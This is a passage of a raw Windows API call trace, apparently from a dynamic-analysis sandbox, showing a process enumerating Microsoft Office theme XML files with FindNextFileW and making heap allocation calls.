ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0068.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.725] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.725] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009508 [0068.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102d738 [0068.725] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.725] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0068.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.725] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.725] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009528 [0068.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102d840 [0068.725] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.725] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0068.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.726] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.726] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009548 [0068.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102d948 [0068.726] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.726] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0068.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.726] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.726] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009568 [0068.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102da50 [0068.726] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.726] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="")) returned 1 [0068.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.726] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.727] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009588 [0068.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102db58 [0068.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2c00) returned 0x102dd60 [0068.727] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1020c10) returned 1 [0068.727] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.727] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0068.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.727] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.727] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10095a8 [0068.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1020c28 [0068.727] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.727] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e94200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19e94200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="")) returned 1 [0068.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.727] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.727] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10095c8 [0068.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1020d30 [0068.728] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.728] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0068.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.728] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.728] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10095e8 [0068.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1020e38 [0068.728] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.728] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0068.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.728] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.728] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009608 [0068.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1020f40 [0068.728] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.729] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0068.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.729] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.729] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009628 [0068.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1021048 [0068.729] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.729] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0068.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.729] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.729] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009648 [0068.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1021150 [0068.729] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.729] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0068.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.729] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.730] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009668 [0068.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1021258 [0068.730] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.730] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0068.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.730] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.730] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009688 [0068.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1021360 [0068.730] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.730] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0068.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.730] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.730] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10096a8 [0068.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1021468 [0068.731] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.731] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0068.731] GetLastError () returned 0x12 [0068.731] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0068.731] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0068.731] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.731] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="")) returned 1 [0068.731] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0068.731] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0068.731] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="")) returned 1 [0068.731] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9c9400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9c9400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0068.731] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0068.731] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="")) returned 1 [0068.731] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0068.731] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0068.731] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, 